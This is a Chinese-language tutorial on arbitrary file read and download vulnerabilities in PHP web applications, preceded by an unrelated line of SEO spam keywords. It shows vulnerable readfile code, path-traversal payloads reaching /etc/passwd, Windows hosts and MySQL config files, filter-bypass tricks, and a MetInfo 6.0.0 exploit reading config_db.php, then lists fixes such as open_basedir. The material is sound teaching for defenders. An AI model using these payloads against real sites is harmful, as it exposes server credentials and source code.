免费制作详情页的网站,长沙网站设计公司重庆标志,网站做弹窗,项目管理中软件分类为任意文件读取概述
一些网站的需求#xff0c;可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过#xff0c;就可以查看或下载任意文件。这些文件可以是源代码文件#xff0c;配置文件#xff0c;敏感文件等等。 任意文件读取会造成#x…任意文件读取概述
一些网站的需求可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过就可以查看或下载任意文件。这些文件可以是源代码文件配置文件敏感文件等等。 任意文件读取会造成敏感信息泄露 任意文件读取大多数情况是由于其他漏洞引发的如RCE、目录遍历、文件包含等。 任意文件读取与任意文件下载本质上没有区别信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同但是从本质上讲读取与下载没有区别从权限角度来讲读取与下载都需要读权限。
漏洞成因
不管是任意文件读取还是任意文件下载触发漏洞的条件都是相同的 存在读取文件的功能函数也就是说Web 应用开放了文件读取功能 读取文件的路径客户端可控完全控制或影响文件路径参数 没有对文件路径进行校验或者校验不严导致校验被绕过 输出了文件的内容。
漏洞危害
下载服务器任意文件包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞构成完整攻击链。对源代码文件进行代码审计查找更多的漏洞。
任意文件读取与下载重点关注的文件 源代码 配置文件 敏感文件 日志文件 …
漏洞分类 任意文件读取 任意文件下载
任意文件读取
以PHP 脚本为例子有一些函数可以实现文件读取功能。
文件读取
读取文件的函数函数特点readfile()直接读取文件内容自带输出功能file_get_contents()直接读取文件内容需要输出读取内容file_get_contents()打开文件计算文件大小读取文件输出文件关闭文件
readfile
// readfile.php
$fp ../phpinfo.php;
readfile($fp);file_get_contents
// file_get_contents.php
$fp ../phpinfo.php;
echo file_get_contents($fp);fread
// fread.php
$fp ../phpinfo.php;
$f fopen($fp,r);
$f_size filesize($fp);
echo fread($f, $f_size);
fclose($f);任意文件读取
变量$fp会捕获GET 方式传递过来的filepath 参数。
$fp $_GET[filepath];filepath 客户端可控并且没有经过校验会造成任意文件读取漏洞。
?filepathindex.php
?filepath/etc/passwd
?filepathc:\windows\system32\drivers\etc\hosts
?filepathc:\phpstudy_2016\apache\conf\httpd.conf
?filepathc:\phpstudy_2016\mysql\my.ini
?filepath../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath../../../../../../../../windows\system32\drivers\etc\hosts
?filePath../../../../../../etc/hosts任意文件下载
一般情况
直接下载例如图片另存为。
a 标签下载
a href ./a.jpgIMG Download/aphp实现
PHP 文件下载实现过程 先读取文件 在输出文件 提供下载
// file-download.php
$fp ./a.jpg;
header(Content-Type:image/jpg);
header(Content-Disposition:attachment;fileName.basename($fp));
readfile($fp);任意文件下载
任意文件下载的条件 已知目标文件路径 目标文件路径客户端可控 没有经过校验或校验不严格
$fp $_GET[filepath];?filepathc:/windows/system32/drivers/etc/hosts
?filepath/etc/passwd任意文件读取攻防
路径过滤
过滤…/
$fp $_GET[filepath];
$fp str_replace(../,,$fp);
readfile($fp);简单绕过
双写绕过
?filepath..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts绝对路径
?filepathc:/windows\system32\drivers\etc\hosts使用…\
?filepath..\..\..\..\..\windows\system32\drivers\etc\hosts任意文件读取挖掘
手工挖掘
从文件名上看从参数名上看readfile.phpfiledownload.phpfilelist.php…ffilefilepathfpreadfilepathreadpathurlmenuMETA-INFWEB-INFcontent…
经典案例
metinfo_6.0.0_file-read
该漏洞出现在metinfo_6.0.0下的/include/thumb.php文件中
该文件源码
?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.defined(IN_MET) or exit(No permission);load::sys_class(web);class old_thumb extends web{public function doshow(){global $_M;$dir str_replace(array(../,./), , $_GET[dir]);if(substr(str_replace($_M[url][site], , $dir),0,4) http strpos($dir, ./) false){header(Content-type: image/jpeg);ob_start();readfile($dir);ob_flush();flush();die;}if($_M[form][pageset]){$path $dir.met-table{$_M[form][met-table]}met-field{$_M[form][met-field]};}else{$path $dir;}$image thumb($path,$_M[form][x],$_M[form][y]);if($_M[form][pageset]){$img explode(?, $image);$img $img[0];}else{$img $image;}if($img){header(Content-type: image/jpeg);ob_start();readfile(PATH_WEB.str_replace($_M[url][site], , $img));ob_flush();flush();}}
}# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?过滤代码
$dir str_replace(array(../,./), , $_GET[dir]);if(substr(str_replace($_M[url][site], , $dir),0,4) http strpos($dir, ./) false)将输入的…/和./过滤为空
并判断url的前四位是否为http并且输入的dir里面有没有./如果没有且头部为http则可以执行
第一次测试 双写
/include/thumb.php?dir..././http/..././config/config_db.php第二次测试 三写
/include/thumb.php?dir.....///http/.....///config/config_db.php第三次测试
/include/thumb.php?dirhttp/.....///.....///config/config_db.php第四次测试
/include/thumb.php?dirhttp\..\..\config\config_db.php输出一下过滤后的dir和M 漏洞修复方案
输入验证
让web 用户只能访问读取所需要的文件和路径。
避免其它漏洞
不能有文件包含漏洞目录遍历漏洞或其他漏洞。
限定文件的访问范围 让用户不能访问Web 根目录以外的路径。 php.ini 配置文件中可以通过选项open_basedir 来限定文件访问的范围
open_basedir c:\www\参考链接
https://github.com/lijiejie/ds_store_exp
https://blog.csdn.net/GitChat/article/details/79014538
https://www.secpulse.com/archives/124398.html
https://github.com/kost/dvcs-ripper
https://github.com/lijiejie/GitHack
http://www.vuln.cn/2225
https://github.com/admintony/svnExploit
https://www.freebuf.com/vuls/181698.html